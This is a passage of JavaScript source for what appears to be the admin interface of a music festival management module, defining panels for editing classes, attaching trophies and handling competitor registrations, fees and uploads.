this.category_id) - 1] + ');\\');';\n }\n return null;\n }\n this.category.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.category.save();');\n this.category.addClose('Cancel');\n this.category.addButton('next', 'Next');\n this.category.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Class\n //\n this.class = new M.panel('Class', 'ciniki_musicfestivals_main', 'class', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.class');\n this.class.data = null;\n this.class.festival_id = 0;\n this.class.class_id = 0;\n this.class.nplists = {};\n this.class.nplist = [];\n this.class.sections = {\n 'general':{'label':'', 'aside':'yes', 'fields':{\n 'category_id':{'label':'Category', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\n 'code':{'label':'Code', 'type':'text', 'size':'small'},\n 'name':{'label':'Name', 'type':'text'},\n// 'level':{'label':'Level', 'type':'text', 'livesearch':'yes', 'livesearchempty':'yes',\n// 'visible':function() {return M.modFlagSet('ciniki.musicfestivals', 0x1000); },\n// },\n 'levels':{'label':'Level', 'type':'tags', 'tags':[], 'hint':'Enter a new level:', 'sort':'no',\n 'visible':function() {return M.modFlagSet('ciniki.musicfestivals', 0x1000); },\n },\n 'sequence':{'label':'Order', 'type':'text'},\n 'earlybird_fee':{'label':'Earlybird Fee', 'type':'text', 'size':'small'},\n 'fee':{'label':'Fee', 'type':'text', 'size':'small'},\n 'virtual_fee':{'label':'Virtual Fee', 'type':'text', 'size':'small',\n 'visible':function() { \n if( M.ciniki_musicfestivals_main.festival.data.flags != null \n && (M.ciniki_musicfestivals_main.festival.data.flags&0x04) == 0x04 \n ) {\n return 'yes';\n }\n return 'no';\n },\n },\n 'earlybird_plus_fee':{'label':'Earlybird Plus Fee', 'type':'text', 'size':'small',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0800); },\n },\n 'plus_fee':{'label':'Plus Fee', 'type':'text', 'size':'small',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0800); },\n },\n }},\n// '_tags':{'label':'Tags', \n// 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\n// 'fields':{\n// }},\n 'registration':{'label':'Registration Options', 'aside':'yes', 'fields':{\n 'flags1':{'label':'Online Registrations', 'type':'flagtoggle', 'default':'on', 'bit':0x01, 'field':'flags'},\n 'flags2':{'label':'Multiple/Registrant', 'type':'flagtoggle', 'default':'on', 'bit':0x02, 'field':'flags'},\n 'flags5':{'label':'2nd Competitor', 'type':'flagtoggle', 'default':'off', 'bit':0x10, 'field':'flags'},\n 'flags6':{'label':'3rd Competitor', 'type':'flagtoggle', 'default':'off', 'bit':0x20, 'field':'flags'},\n 'flags7':{'label':'4th Competitor', 'type':'flagtoggle', 'default':'off', 'bit':0x40, 'field':'flags'},\n 'flags13':{'label':'2nd Title & Time', 'type':'flagtoggle', 'default':'off', 'bit':0x1000, 'field':'flags'},\n 'flags14':{'label':'2nd Title & Time Optional', 'type':'flagtoggle', 'default':'off', 'bit':0x2000, 'field':'flags'},\n 'flags15':{'label':'3rd Title & Time', 'type':'flagtoggle', 'default':'off', 'bit':0x4000, 'field':'flags'},\n 'flags16':{'label':'3rd Title & Time Optional', 'type':'flagtoggle', 'default':'off', 'bit':0x8000, 'field':'flags'},\n }},\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':3, \n 'headerValues':['Competitor', 'Teacher', 'Status'],\n 'noData':'No registrations',\n// 'addTxt':'Add Registration',\n// 'addFn':'M.ciniki_musicfestivals_main.registration.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,0,M.ciniki_musicfestivals_main.class.class_id,M.ciniki_musicfestivals_main.festival.festival_id,null,\\'festival\\');',\n },\n 'trophies':{'label':'Trophies', 'type':'simplegrid', 'num_cols':3, \n 'headerValues':['Category', 'Name'],\n 'cellClasses':['', '', 'alignright'],\n 'noData':'No trophies',\n 'addTxt':'Add Trophy',\n 'addFn':'M.ciniki_musicfestivals_main.class.save(\"M.ciniki_musicfestivals_main.class.addTrophy();\");',\n },\n '_buttons':{'label':'', 'aside':'yes', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.class.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.class.class_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.class.remove();'},\n }},\n };\n this.class.fieldValue = function(s, i, d) { return this.data[i]; }\n this.class.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.classHistory', 'args':{'tnid':M.curTenantID, 'class_id':this.class_id, 'field':i}};\n }\n this.class.cellValue = function(s, i, j, d) {\n if( s == 'registrations' ) {\n switch(j) {\n case 0: return d.display_name; // + M.subdue(' (',d.pronoun,')');\n case 1: return d.teacher_name;\n case 2: return d.status_text;\n }\n }\n if( s == 'trophies' ) {\n switch(j) {\n case 0: return d.category;\n case 1: return d.name;\n case 2: return '';\n }\n }\n }\n this.class.rowFn = function(s, i, d) {\n if( s == 'registrations' ) {\n return 'M.ciniki_musicfestivals_main.registration.open(\\'M.ciniki_musicfestivals_main.class.open();\\',\\'' + d.id + '\\',0,0,M.ciniki_musicfestivals_main.class.festival_id, null,\\'festival\\');';\n }\n return '';\n }\n this.class.addTrophy = function() {\n M.ciniki_musicfestivals_main.classtrophy.open('M.ciniki_musicfestivals_main.class.open();',this.class_id);\n }\n this.class.attachTrophy = function(i) {\n M.api.getJSONCb('ciniki.musicfestivals.classTrophyAdd', {'tnid':M.curTenantID, 'class_id':this.class_id, 'trophy_id':i}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.class.open();\n });\n }\n this.class.removeTrophy = function(i) {\n M.api.getJSONCb('ciniki.musicfestivals.classTrophyRemove', {'tnid':M.curTenantID, 'class_id':this.class_id, 'tc_id':i}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.class.open();\n });\n }\n/* this.class.liveSearchCb = function(s, i, value) {\n if( i == 'level' ) {\n M.api.getJSONBgCb('ciniki.musicfestivals.classFieldSearch', {'tnid':M.curTenantID, 'field':i, 'start_needle':value, 'festival_id':M.ciniki_musicfestivals_main.class.festival_id, 'limit':15}, \n function(rsp) {\n M.ciniki_musicfestivals_main.class.liveSearchShow(s, i, M.gE(M.ciniki_musicfestivals_main.class.panelUID + '_' + i), rsp.results); \n });\n }\n }\n this.class.liveSearchResultValue = function(s, f, i, j, d) {\n return d.name;\n }\n this.class.liveSearchResultRowFn = function(s, f, i, j, d) {\n if( f == 'level' ) {\n return 'M.ciniki_musicfestivals_main.class.updateField(\\'' + s + '\\',\\'' + f + '\\',\\'' + escape(d.name) + '\\');';\n }\n }\n this.class.updateField = function(s, f, r) {\n M.gE(this.panelUID + '_' + f).value = unescape(r);\n this.removeLiveSearch(s, f);\n } */\n this.class.open = function(cb, iid, cid, fid, list) {\n if( iid != null ) { this.class_id = iid; }\n if( cid != null ) { this.category_id = cid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.classGet', {'tnid':M.curTenantID, 'class_id':this.class_id, 'festival_id':this.festival_id, 'category_id':this.category_id, \n 'registrations':'yes', 'categories':'yes'}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.class;\n p.data = rsp.class;\n p.nplists = {};\n if( rsp.nplists != null ) {\n p.nplists = rsp.nplists;\n }\n p.sections.general.fields.category_id.options = rsp.categories;\n p.sections.general.fields.levels.tags = [];\n if( rsp.levels != null ) {\n p.sections.general.fields.levels.tags = rsp.levels;\n }\n p.refresh();\n p.show(cb);\n });\n }\n this.class.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.class.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.class_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.classUpdate', {'tnid':M.curTenantID, 'class_id':this.class_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.classAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.class.class_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.class.remove = function() {\n M.confirm('Are you sure you want to remove class?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.classDelete', {'tnid':M.curTenantID, 'class_id':M.ciniki_musicfestivals_main.class.class_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.class.close();\n });\n });\n }\n this.class.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.class_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.class.save(\\'M.ciniki_musicfestivals_main.class.open(null,' + this.nplist[this.nplist.indexOf('' + this.class_id) + 1] + ');\\');';\n }\n return null;\n }\n this.class.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.class_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.class.save(\\'M.ciniki_musicfestivals_main.class.open(null,' + this.nplist[this.nplist.indexOf('' + this.class_id) - 1] + ');\\');';\n }\n return null;\n }\n this.class.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.class.save();');\n this.class.addClose('Cancel');\n this.class.addButton('next', 'Next');\n this.class.addLeftButton('prev', 'Prev');\n\n //\n // This panel lets the user select a trophy to attach to a class\n //\n this.classtrophy = new M.panel('Select Trophy', 'ciniki_musicfestivals_main', 'classtrophy', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.trophyclass');\n this.classtrophy.sections = {\n 'trophies':{'label':'Select Trophy', 'type':'simplegrid', 'num_cols':3,\n 'noData':'No trophies',\n },\n };\n this.classtrophy.cellValue = function(s, i, j, d) {\n if( s == 'trophies' ) {\n switch(j) {\n case 0: return d.category;\n case 1: return d.name;\n case 2: return '';\n }\n }\n }\n this.classtrophy.open = function(cb, cid) {\n M.api.getJSONCb('ciniki.musicfestivals.trophyList', {'tnid':M.curTenantID, 'class_id':cid}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.classtrophy;\n p.data = rsp;\n p.refresh();\n p.show(cb);\n });\n }\n this.classtrophy.addClose('Back');\n\n //\n // Registration\n //\n this.registration = new M.panel('Registration', 'ciniki_musicfestivals_main', 'registration', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.registration');\n this.registration.data = null;\n this.registration.festival_id = 0;\n this.registration.teacher_customer_id = 0;\n this.registration.competitor1_id = 0;\n this.registration.competitor2_id = 0;\n this.registration.competitor3_id = 0;\n this.registration.competitor4_id = 0;\n// this.registration.competitor5_id = 0;\n this.registration.registration_id = 0;\n this.registration.nplist = [];\n this.registration._source = '';\n this.registration.sections = {\n// '_tabs':{'label':'', 'type':'paneltabs', 'field_id':'rtype', 'selected':'30', 'tabs':{\n// '30':{'label':'Individual', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\"30\");'},\n// '50':{'label':'Duet', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\"50\");'},\n// '60':{'label':'Trio', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\"60\");'},\n// '90':{'label':'Ensemble', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\"90\");'},\n// }},\n 'teacher_details':{'label':'Teacher', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\n 'cellClasses':['label', ''],\n 'addTxt':'Edit',\n 'addFn':'M.startApp(\\'ciniki.customers.edit\\',null,\\'M.ciniki_musicfestivals_main.registration.updateTeacher();\\',\\'mc\\',{\\'next\\':\\'M.ciniki_musicfestivals_main.registration.updateTeacher\\',\\'customer_id\\':M.ciniki_musicfestivals_main.registration.teacher_customer_id});',\n 'changeTxt':'Change',\n 'changeFn':'M.startApp(\\'ciniki.customers.edit\\',null,\\'M.ciniki_musicfestivals_main.registration.updateTeacher();\\',\\'mc\\',{\\'next\\':\\'M.ciniki_musicfestivals_main.registration.updateTeacher\\',\\'customer_id\\':0});',\n },\n '_display_name':{'label':'Duet/Trio/Ensemble Name', 'aside':'yes',\n 'visible':'hidden',\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>60?'yes':'hidden');},\n 'fields':{ \n 'display_name':{'label':'', 'hidelabel':'yes', 'type':'text'},\n }},\n 'competitor1_details':{'label':'Competitor 1', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\n 'cellClasses':['label', ''],\n 'addTxt':'',\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 1);',\n 'changeTxt':'Add',\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 1);',\n },\n 'competitor2_details':{'label':'Competitor 2', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\n 'visible':'hidden',\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>30?'yes':'hidden');},\n 'cellClasses':['label', ''],\n 'addTxt':'Edit',\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 2);',\n 'changeTxt':'Change',\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 2);',\n },\n 'competitor3_details':{'label':'Competitor 3', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\n 'visible':'hidden',\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>50?'yes':'hidden');},\n 'cellClasses':['label', ''],\n 'addTxt':'Edit',\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 3);',\n 'changeTxt':'Change',\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 3);',\n },\n 'competitor4_details':{'label':'Competitor 4', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\n 'visible':'hidden',\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>60?'yes':'hidden');},\n 'cellClasses':['label', ''],\n 'addTxt':'Edit',\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 4);',\n 'changeTxt':'Change',\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 4);',\n },\n/* 'competitor5_details':{'label':'Competitor 5', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\n 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>60?'yes':'hidden');},\n 'cellClasses':['label', ''],\n 'addTxt':'Edit',\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 5);',\n 'changeTxt':'Change',\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 5);',\n }, */\n 'invoice_details':{'label':'Invoice', 'type':'simplegrid', 'num_cols':2,\n 'cellClasses':['label', ''],\n },\n '_class':{'label':'Registration', 'fields':{\n// 'status':{'label':'Status', 'required':'yes', 'type':'toggle', 'toggles':{'5':'Draft', '10':'Applied', '50':'Paid', '60':'Cancelled'}},\n// 'payment_type':{'label':'Payment', 'type':'toggle', 'toggles':{'20':'Square', '50':'Visa', '55':'Mastercard', '100':'Cash', '105':'Cheque', '110':'Email', '120':'Other', '121':'Online'}},\n 'class_id':{'label':'Class', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \n 'onchangeFn':'M.ciniki_musicfestivals_main.registration.updateForm',\n },\n 'title1':{'label':'Title', 'type':'text'},\n 'perf_time1':{'label':'Perf Time', 'type':'minsec', 'size':'small'},\n 'title2':{'label':'2nd Title', 'type':'text',\n 'visible':'no',\n },\n 'perf_time2':{'label':'2nd Time', 'type':'minsec', 'max_minutes':30, 'second_interval':5, 'size':'small',\n 'visible':'no',\n },\n 'title3':{'label':'3rd Title', 'type':'text',\n 'visible':'no',\n },\n 'perf_time3':{'label':'3rd Time', 'type':'minsec', 'size':'small',\n 'visible':'no',\n },\n 'fee':{'label':'Fee', 'type':'text', 'size':'small'},\n 'participation':{'label':'Participate', 'type':'select', \n 'visible':function() { return (M.ciniki_musicfestivals_main.registration.data.festival.flags&0x12) > 0 ? 'yes' : 'no'},\n 'onchangeFn':'M.ciniki_musicfestivals_main.registration.updateForm',\n 'options':{\n '0':'in person on a date to be scheduled',\n '1':'virtually and submit a video online',\n }},\n 'video_url1':{'label':'1st Video', 'type':'text', \n 'visible':'no',\n },\n 'music_orgfilename1':{'label':'1st Music', 'type':'file',\n 'visible':'no',\n 'deleteFn':'M.ciniki_musicfestivals_main.registration.downloadMusic(1);',\n },\n 'video_url2':{'label':'2nd Video', 'type':'text', \n 'visible':'no',\n },\n 'music_orgfilename2':{'label':'2nd Music', 'type':'file',\n 'visible':'no',\n 'deleteFn':'M.ciniki_musicfestivals_main.registration.downloadMusic(2);',\n },\n 'video_url3':{'label':'3rd Video', 'type':'text', \n 'visible':'no',\n },\n 'music_orgfilename3':{'label':'3rd Music', 'type':'file',\n 'visible':'no',\n 'deleteFn':'M.ciniki_musicfestivals_main.registration.downloadMusic(3);',\n },\n 'placement':{'label':'Placement', 'type':'text',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x08); },\n },\n }},\n '_tags':{'label':'Tags', \n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\n 'fields':{\n 'tags':{'label':'', 'hidelabel':'yes', 'type':'tags', 'tags':[], 'hint':'Enter a new tag:'},\n }},\n/* 'music_buttons':{'label':'', \n 'visible':function() { return (M.ciniki_musicfestivals_main.registration.data.festival.flags&0x02) == 0x02 ? 'yes' : 'no'},\n 'buttons':{\n 'add':{'label':'Upload Music PDF', 'fn':'M.ciniki_musicfestivals_main.registration.uploadPDF();',\n 'visible':function() { return M.ciniki_musicfestivals_main.registration.data.music_orgfilename == '' ? 'yes' : 'no'},\n },\n 'upload':{'label':'Replace Music PDF', 'fn':'M.ciniki_musicfestivals_main.registration.uploadPDF();',\n 'visible':function() { return M.ciniki_musicfestivals_main.registration.data.music_orgfilename != '' ? 'yes' : 'no'},\n },\n 'download':{'label':'Download PDF', 'fn':'M.ciniki_musicfestivals_main.registration.downloadPDF();',\n 'visible':function() { return M.ciniki_musicfestivals_main.registration.data.music_orgfilename != '' ? 'yes' : 'no'},\n },\n }}, */\n '_notes':{'label':'Registration Notes', 'fields':{\n 'notes':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\n }},\n '_internal_notes':{'label':'Internal Admin Notes', 'fields':{\n 'internal_notes':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.registration.save();'},\n 'printcert':{'label':'Download Certificate PDF', \n 'visible':function() {return M.ciniki_musicfestivals_main.registration.registration_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.registration.printCert();'},\n 'printcomments':{'label':'Download Comments PDF', \n 'visible':function() {return M.ciniki_musicfestivals_main.registration.registration_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.registration.printComments();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.registration.registration_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.registration.remove();'},\n }},\n };\n this.registration.fieldValue = function(s, i, d) { \n// if( i == 'music_orgfilename' ) {\n// if( this.data[i] == '' ) {\n// return '';\n// } else {\n// return this.data[i] + ' ';\n// }\n// }\n return this.data[i]; \n }\n this.registration.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.registrationHistory', 'args':{'tnid':M.curTenantID, 'registration_id':this.registration_id, 'field':i}};\n }\n this.registration.cellValue = function(s, i, j, d) {\n if( s == 'competitor1_details' || s == 'competitor2_details' || s == 'competitor3_details' || s == 'competitor4_details' ) {\n switch(j) {\n case 0 : return d.label;\n case 1 : \n if( d.label == 'Email' ) {\n return M.linkEmail(d.value);\n } else if( d.label == 'Address' ) {\n return d.value.replace(/\\n/g, '
    ');\n }\n return d.value;\n }\n }\n if( s == 'teacher_details' ) {\n switch(j) {\n case 0: return d.detail.label;\n case 1:\n if( d.detail.label == 'Email' ) {\n return M.linkEmail(d.detail.value);\n } else if( d.detail.label == 'Address' ) {\n return d.detail.value.replace(/\\n/g, '
    ');\n }\n return d.detail.value;\n }\n }\n if( s == 'invoice_details' ) {\n switch(j) {\n case 0: return d.label;\n case 1: return d.value.replace(/\\n/, '
    ');\n }\n }\n }\n this.registration.rowFn = function(s, i, d) {\n if( s == 'invoice_details' && this._source != 'invoice' && this._source != 'pos' ) {\n return 'M.startApp(\\'ciniki.sapos.invoice\\',null,\\'M.ciniki_musicfestivals_main.registration.open();\\',\\'mc\\',{\\'invoice_id\\':\\'' + this.data.invoice_id + '\\'});';\n }\n }\n this.registration.switchTab = function(t) {\n this.sections._tabs.selected = t;\n this.refreshSection('_tabs');\n this.showHideSection('_display_name');\n this.showHideSection('competitor2_details');\n this.showHideSection('competitor3_details');\n this.showHideSection('competitor4_details');\n// this.showHideSection('competitor5_details');\n }\n this.registration.updateForm = function(s, i, cf) {\n var festival = this.data.festival;\n var cid = this.formValue('class_id');\n var participation = this.formValue('participation');\n for(var i in this.classes) {\n if( this.classes[i].id == cid ) {\n var c = this.classes[i];\n if( cf == null ) {\n if( (festival.flags&0x10) == 0x10 && participation == 2 && c.earlybird_plus_fee > 0 ) {\n this.setFieldValue('fee', c.earlybird_plus_fee);\n } else if( (festival.flags&0x10) == 0x10 && participation == 2 && c.plus_fee > 0 ) {\n this.setFieldValue('fee', c.plus_fee);\n } else if( (festival.flags&0x04) == 0x04 && participation == 1 ) {\n this.setFieldValue('fee', c.virtual_fee);\n } else if( festival.earlybird == 'yes' && c.earlybird_fee > 0 ) {\n this.setFieldValue('fee', c.earlybird_fee);\n } else {\n this.setFieldValue('fee', c.fee);\n }\n }\n\n this.sections._class.fields.title2.visible = (c.flags&0x1000) == 0x1000 ? 'yes' : 'no';\n this.sections._class.fields.perf_time2.visible = (c.flags&0x1000) == 0x1000 ? 'yes' : 'no';\n this.sections._class.fields.title3.visible = (c.flags&0x4000) == 0x4000 ? 'yes' : 'no';\n this.sections._class.fields.perf_time3.visible = (c.flags&0x4000) == 0x4000 ? 'yes' : 'no';\n this.sections._class.fields.video_url1.visible = (participation == 1 ? 'yes' : 'no');\n this.sections._class.fields.video_url2.visible = (participation == 1 && (c.flags&0x1000) == 0x1000 ? 'yes' : 'no');\n this.sections._class.fields.video_url3.visible = (participation == 1 && (c.flags&0x4000) == 0x4000 ? 'yes' : 'no');\n this.sections._class.fields.music_orgfilename1.visible = (participation == 1 ? 'yes' : 'no');\n this.sections._class.fields.music_orgfilename2.visible = (participation == 1 && (c.flags&0x1000) == 0x1000 ? 'yes' : 'no');\n this.sections._class.fields.music_orgfilename3.visible = (participation == 1 && (c.flags&0x4000) == 0x4000 ? 'yes' : 'no');\n\n this.sections._display_name.visible = (c.flags&0x70) > 0 ? 'yes' : 'hidden';\n this.sections.competitor2_details.visible = (c.flags&0x10) == 0x10 ? 'yes' : 'hidden';\n this.sections.competitor3_details.visible = (c.flags&0x20) == 0x20 ? 'yes' : 'hidden';\n this.sections.competitor4_details.visible = (c.flags&0x40) == 0x40 ? 'yes' : 'hidden';\n this.showHideSection('competitor2_details');\n this.showHideSection('competitor3_details');\n this.showHideSection('competitor4_details');\n this.showHideSection('_display_name');\n this.showHideFormField('_class', 'title2');\n this.showHideFormField('_class', 'perf_time2');\n this.showHideFormField('_class', 'title3');\n this.showHideFormField('_class', 'perf_time3');\n this.showHideFormField('_class', 'video_url1');\n this.showHideFormField('_class', 'video_url2');\n this.showHideFormField('_class', 'video_url3');\n this.showHideFormField('_class', 'music_orgfilename1');\n this.showHideFormField('_class', 'music_orgfilename2');\n this.showHideFormField('_class', 'music_orgfilename3');\n }\n }\n }\n this.registration.addCompetitor = function(cid,c) {\n this.save(\"M.ciniki_musicfestivals_main.competitor.open('M.ciniki_musicfestivals_main.registration.updateCompetitor(\" + c + \");',\" + cid + \",\" + this.festival_id + \",null,M.ciniki_musicfestivals_main.registration.data.billing_customer_id);\");\n }\n this.registration.updateCompetitor = function(c) {\n var p = M.ciniki_musicfestivals_main.competitor;\n if( this['competitor' + c + '_id'] != p.competitor_id ) {\n this['competitor' + c + '_id'] = p.competitor_id;\n this.save(\"M.ciniki_musicfestivals_main.registration.open();\");\n } else { \n this.open();\n }\n/*\n M.api.getJSONCb('ciniki.musicfestivals.competitorGet', {'tnid':M.curTenantID, 'competitor_id':this['competitor'+c+'_id']}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.registration;\n p.data['competitor'+c+'_details'] = rsp.details;\n if( p['competitor' + c + '_id'] == 0 ) {\n p.sections['competitor'+c+'_details'].addTxt = '';\n p.sections['competitor'+c+'_details'].changeTxt = 'Add';\n } else {\n p.sections['competitor'+c+'_details'].addTxt = 'Edit';\n p.sections['competitor'+c+'_details'].changeTxt = 'Change';\n }\n p.refreshSection('competitor'+c+'_details');\n p.show();\n }); */\n }\n this.registration.updateTeacher = function(cid) {\n if( cid != null ) { \n this.teacher_customer_id = cid;\n if( this.teacher_customer_id > 0 ) {\n M.api.getJSONCb('ciniki.customers.customerDetails', {'tnid':M.curTenantID, 'customer_id':this.teacher_customer_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.registration;\n p.data.teacher_details = rsp.details;\n if( p.customer_id == 0 ) {\n p.sections.teacher_details.addTxt = '';\n p.sections.teacher_details.changeTxt = 'Add';\n } else {\n p.sections.teacher_details.addTxt = 'Edit';\n p.sections.teacher_details.changeTxt = 'Change';\n }\n p.refreshSection('teacher_details');\n p.show();\n });\n } else {\n this.data.teacher_details = [];\n this.sections.teacher_details.addTxt = '';\n this.sections.teacher_details.changeTxt = 'Add';\n this.refreshSection('teacher_details');\n this.show();\n }\n } else {\n this.show();\n }\n }\n this.registration.printCert = function() {\n M.api.openFile('ciniki.musicfestivals.registrationCertificatesPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'registration_id':this.registration_id});\n }\n this.registration.printComments = function() {\n M.api.openFile('ciniki.musicfestivals.registrationCommentsPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'registration_id':this.registration_id});\n }\n/* this.registration.uploadPDF = function() {\n if( this.upload == null ) {\n this.upload = M.aE('input', this.panelUID + '_music_orgfilename_upload', 'image_uploader');\n this.upload.setAttribute('name', 'music_orgfilename');\n this.upload.setAttribute('type', 'file');\n this.upload.setAttribute('onchange', this.panelRef + '.uploadFile();');\n }\n this.upload.value = '';\n this.upload.click();\n }\n this.registration.uploadFile = function() {\n var f = this.upload;\n M.api.postJSONFile('ciniki.musicfestivals.registrationMusicAdd', \n {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'registration_id':this.registration_id}, \n f.files[0], \n function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.registration;\n p.data.music_orgfilename = rsp.registration.music_orgfilename;\n// p.refreshSection('music_buttons');\n p.setFieldValue('music_orgfilename', rsp.registration.music_orgfilename);\n });\n } */\n this.registration.downloadMusic = function(i) {\n M.api.openFile('ciniki.musicfestivals.registrationMusicPDF',{'tnid':M.curTenantID, 'registration_id':this.registration_id, 'num':i});\n }\n// this.registration.downloadPDF = function() {\n// M.api.openFile('ciniki.musicfestivals.registrationMusicPDF',{'tnid':M.curTenantID, 'registration_id':this.registration_id});\n// }\n this.registration.open = function(cb, rid, tid, cid, fid, list, source) {\n if( rid != null ) { this.registration_id = rid; }\n if( tid != null ) { this.teacher_customer_id = tid; }\n if( fid != null ) { this.festival_id = fid; }\n if( cid != null ) { this.class_id = cid; }\n if( list != null ) { this.nplist = list; }\n if( source != null ) { this._source = source; }\n M.api.getJSONCb('ciniki.musicfestivals.registrationGet', {'tnid':M.curTenantID, 'registration_id':this.registration_id, \n 'teacher_customer_id':this.teacher_customer_id, 'festival_id':this.festival_id, 'class_id':this.class_id, \n }, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.registration;\n p.data = rsp.registration;\n p.classes = rsp.classes;\n if( p.festival_id == 0 ) {\n p.festival_id = rsp.registration.festival_id;\n }\n// p.sections._tabs.selected = rsp.registration.rtype;\n p.sections._class.fields.class_id.options = rsp.classes;\n p.sections._class.fields.class_id.options.unshift({'id':0, 'name':''});\n p.teacher_customer_id = parseInt(rsp.registration.teacher_customer_id);\n if( p.teacher_customer_id == 0 ) {\n p.sections.teacher_details.addTxt = '';\n p.sections.teacher_details.changeTxt = 'Add';\n } else {\n p.sections.teacher_details.addTxt = 'Edit';\n 